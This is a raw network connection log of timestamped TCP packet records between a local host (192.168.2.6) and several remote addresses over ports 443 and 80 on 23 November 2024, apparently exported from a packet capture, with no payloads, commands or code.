Nov 23, 2024 09:16:19.972769976 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:19.973196030 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:19.973211050 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:21.830578089 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:21.830704927 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:21.841043949 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:21.841073036 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:21.841588974 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:21.893759012 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:22.266938925 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:22.307339907 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.649703026 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.649738073 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.649749041 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.649768114 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.649775982 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.649785042 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.649807930 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:22.649837971 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.649893045 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:22.649893045 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:22.773195982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:22.840842009 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.840873957 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.840945959 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:22.840959072 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.840976954 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:22.841011047 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:22.890919924 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.890958071 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.891005993 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:22.891017914 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:22.891096115 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:22.892687082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:22.892779112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:22.896823883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:23.031122923 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.031156063 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.031337976 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.031352997 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.031502008 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.051120996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:23.067326069 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.067353010 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.067437887 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.067449093 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.067465067 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.067516088 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.086188078 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.086211920 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.086262941 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.086271048 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.086323023 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.086323023 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.102497101 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.102525949 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.102567911 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.102586985 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.102605104 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.102643013 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.240093946 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.240120888 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.240288019 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.240307093 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.240425110 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.255825996 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.255856991 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.256001949 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.256012917 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.256200075 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.256200075 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.273891926 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.273916006 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.274053097 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.274063110 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.274213076 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.292057037 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.292078972 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.292289972 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.292289972 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.292309999 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.293962955 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.307760954 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.307785034 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.307861090 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.307877064 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.307929039 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.327111959 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.327142000 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.327200890 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.327210903 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.327358007 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.332453012 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.332530022 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.332540989 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.332557917 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.332601070 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.332624912 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.332652092 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.332652092 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.332669020 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.332686901 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.375417948 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.375443935 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.375543118 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.376753092 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.376794100 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.377243042 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.377243996 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.377259970 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.378299952 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.378329039 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.378400087 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.378540993 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.378557920 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.378814936 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.378829956 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.379575014 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.379587889 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.379764080 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.379764080 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.379786015 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.380247116 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.380258083 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:23.382055044 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.382148027 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:23.382163048 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:24.325308084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:24.325375080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:24.336179018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:24.455722094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:24.805305958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:24.805425882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:24.880985975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:24.908086061 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:24.909323931 CET	49674	443	192.168.2.6	173.222.162.64
Nov 23, 2024 09:16:24.916441917 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:24.916486979 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:24.917562008 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:24.917576075 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:24.987423897 CET	49673	443	192.168.2.6	173.222.162.64
Nov 23, 2024 09:16:25.000585079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:25.094698906 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.095333099 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.095352888 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.095865965 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.095871925 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.098526955 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.098923922 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.098937035 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.099334002 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.099339008 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.130232096 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.130584002 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.130650043 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.131042004 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.131057978 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.226372004 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.234797001 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.234816074 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.235260010 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.235265017 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.299940109 CET	49672	443	192.168.2.6	173.222.162.64
Nov 23, 2024 09:16:25.337533951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:25.337622881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:25.337624073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:25.337665081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:25.339143038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:25.343995094 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.344057083 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.344109058 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.344325066 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.344371080 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.344403982 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.344419956 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.347716093 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.347748995 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.347820044 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.347996950 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.348009109 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.460241079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:25.531564951 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.531721115 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.531784058 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.532138109 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.532157898 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.532169104 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.532175064 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.533662081 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.533693075 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.533756018 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.533773899 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.533816099 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.535047054 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.535053968 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.535069942 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.535255909 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.535295010 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.535355091 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.539546967 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.539601088 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.539668083 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.539695024 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.539726019 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.539779902 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.539833069 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.539853096 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.540021896 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.540033102 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.570797920 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.570831060 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.570899010 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.570965052 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.571336985 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.571336985 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.571377993 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.571578026 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.571610928 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.571661949 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.586117983 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.586169958 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.586231947 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.586391926 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.586410046 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.684739113 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.684767008 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.684911013 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.684923887 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.685055017 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.685414076 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.685414076 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.685420990 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.685602903 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.685647964 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.685694933 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.688060999 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.688102007 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.688178062 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.688309908 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:25.688321114 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:25.796928883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:25.796961069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:25.797008991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:25.797046900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:25.797063112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:25.797106981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:25.797113895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:25.797132015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:25.797149897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:25.797159910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:25.797175884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:25.797197104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:25.808180094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:25.808245897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:25.809771061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:25.929303885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:26.266237020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:26.266467094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:26.294898033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:26.294951916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:26.415508032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:26.415546894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:26.415623903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:26.415653944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:26.415720940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:26.415750027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:27.127348900 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.127957106 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.127975941 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.128540039 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.128545046 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.199381113 CET	49725	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:27.199481010 CET	443	49725	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:27.199578047 CET	49725	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:27.200333118 CET	49725	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:27.200367928 CET	443	49725	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:27.275049925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:27.275300980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:27.300290108 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.324923038 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.325177908 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.346797943 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.378043890 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.378043890 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.407964945 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.456161976 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.570964098 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.570980072 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.571611881 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.571619034 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.571965933 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.571990013 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.572549105 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.572556973 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.572710037 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.572724104 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.573375940 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.573381901 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.573729992 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.573751926 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.574440002 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.574445009 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.575575113 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.575638056 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.575699091 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.576083899 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.576097012 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.576131105 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.576137066 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.594753027 CET	443	49707	173.222.162.64	192.168.2.6
Nov 23, 2024 09:16:27.594922066 CET	49707	443	192.168.2.6	173.222.162.64
Nov 23, 2024 09:16:27.695363998 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.695413113 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.695482969 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.696091890 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.696106911 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.887747049 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.887820959 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.887867928 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.896298885 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.896375895 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.896418095 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.901056051 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.901257992 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.901329041 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.901700020 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.901846886 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.901900053 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.906730890 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.906757116 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.906766891 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.906773090 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.907893896 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.907893896 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.907907963 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.907917023 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.909624100 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.909636021 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:27.909647942 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:27.909652948 CET	443	49724	13.107.246.63	192.168.2.6
